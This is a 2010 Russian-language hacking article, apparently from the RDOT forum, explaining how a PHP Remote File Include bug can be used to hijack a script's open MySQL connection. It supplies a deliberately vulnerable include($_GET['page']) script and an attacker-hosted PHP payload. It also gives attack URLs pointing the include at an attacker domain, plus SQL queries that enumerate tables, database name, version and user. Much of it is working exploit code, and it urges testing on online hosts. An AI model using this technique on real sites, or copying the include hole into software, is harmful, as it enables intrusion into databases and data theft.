Кража MySQL соединения посредством Remote File Include.

2010-07-07T00:00:00
ID RDOT:202
Type rdot
Reporter p(eaZ
Modified 2010-07-07T00:00:00

Description

[0x001]-[Вступление]
[0x002]-[Функция mysql_close()]
[0x003]-[Подопытные скрипты]
[0x004]-[Демонстрация атаки]

[0x001]-[Втсупление]

В этой мини-статье будет идти речь о том, как можно использовать RFI(Remote File Include) для кражи у серверного веб-сценария соединение с СУБД MySQL, и последуещего внедрения SQL кода (SQL Injection). Эта техника не претендует на место других видов атак посредством RFI и не является эталоном, так что комментарии вида "лучше сразу приинклудить шелл" будут неуместны. Здесь демонстрируется уязвимость, которая может возникнуть если в коде веб-приложения которое использует соединение с MySQL при помощи функции mysql_connect(), не используется парная ей функция mysql_close() и соединение всегда остаётся открытым.

[0x002]-[Функция mysql_close()]

bool mysql_close ( [resource link_identifier] )
Возвращает TRUE в случае успешного завершения или FALSE в случае возникновения ошибки.
mysql_close() закрывает соедиение с базой данных MySQL, на которое указывает переданный указатель. Если параметр link_identifier не указан, закрывается последнее открытое (текущее) соединение.
Использование mysql_close() не обязательно для непостоянных соединений. Они автоматически закрываются в конце скрипта.
Замечание: mysql_close() не может закрывать постоянные соединения, открытые функцией mysql_pconnect().

Пример:

PHP код:

<?php
$link = mysql_connect("localhost", "mysql_user", "mysql_password")
or die("Could not connect: " . mysql_error());
print ("Connected successfully");
mysql_close($link);
?>

С функцией разобрались, и теперь будем разбираться, что может произойти если она отсутсвует. Для этого нам понадобиться два сервера(хоста) с поддержкой MySQL и PHP, и два подопытных скрипта target.php и attacker.php.
В качестве сервера я использую Денвер, т.к. работать на локалхосте удобнее и быстрее, но вы должны использовать он-лайн хосты, что в лучшем виде продемонстрирует возможности данной атаки, т.к. мы говорим о RFI, а не о LFI.

[0x003]-[Подопытные скрипты]

Для начала нам понадобиться создать БД, например с названием test. В ней мы создаём таблицу test_tbl с текстом в полях:

Код:

CREATE TABLE IF NOT EXISTS `test_tbl` (
  `id` int(10) unsigned NOT NULL auto_increment,
  `text` text NOT NULL,
  PRIMARY KEY  (`id`)
); 
INSERT INTO `test_tbl` (`id`, `text`) VALUES
(1, 'OMG! num. 1'),
(2, 'OMG! num. 2'),
(3, 'OMG! num. 3');

После, создаём два подопытных скрипта.
Первый скрипт будет использоваться для работы с БД удалённого хоста(жертва), который мы назовём target.php:

PHP код:

<?php
$host = "localhost";
$user = "root";
$pass = "";
$db = "test";
$connect = mysql_connect($host,$user,$pass);
mysql_select_db($db,$connect);
//...
//Тут любой код, работающий с БД.
//...
include($_GET["page"]); //File Include в параметре page

Его вы заливаете на первый удалённый хост (например xttp://targetsite.com/). В моем примере используется локалхост, и это уже нельзя отнести к RFI. Да, это LFI(Local File Include), однако сам принцип остаётся неизменным, т.к. target.php расчитан на два типа атак, но мы говорим только об удалённом, поэтому имейте это ввиду.
В примере я буду использовать домен второго уровня test1.ru (\home\test1.ru\www\target.php) в качестве цели.

Второй скрипт будет подключаться и воровать соединение у target.php с MySQL, и назовём его attacker.php:
Его вы закидываете на второй он-лайн хост (например xttp://attackersite.com/)

PHP код:

<?php
$attacker = mysql_query("SELECT text FROM test_tbl WHERE id = 1;");
$a = mysql_fetch_array($attacker);
echo $a[0];
?>

Я поместил его в \home\localhost\www\attacker.php

[0x004]-[Демонстрация атаки]

Всё готово, можно приступать к испытаниям.
В адресной строке браузере набираем следующее:
хttp://targetsite.com/target.php?page=http://attackersite.com/attacker.php - в случае с удалённым хостом (RFI)
хttp://test1.ru/target.php?page=../../localhost/www/attacker.php - в моём случае (LFI)
и видим

Это говорит нам о том, что скрипт attacker.php перехватил соединение с СУБД у target.php, и может посылать ей запросы, которые зависят только от вашей фантазии и целей.

Мы можем управлять SQL запросам также, как если бы это была обычная SQL инъекция, изменяя лишь строку с запросом (mysql_query()) в attacker.php.

Простейшие примеры:

Код:

$attacker = mysql_query("SELECT text FROM test_tbl WHERE id = 2 - выводит "OMG! num 2;");
$attacker = mysql_query("SELECT text FROM test_tbl WHERE id = 3 - выводит "OMG! num 3;");

или:

Код:

$attacker = mysql_query("SELECT group_concat(table_name) FROM information_schema.tables;");


или:

Код:

$attacker = mysql_query("SELECT concat_ws(0x3a,database(),version(),user());");

Спасибо за внимание.
(с) p(eaZ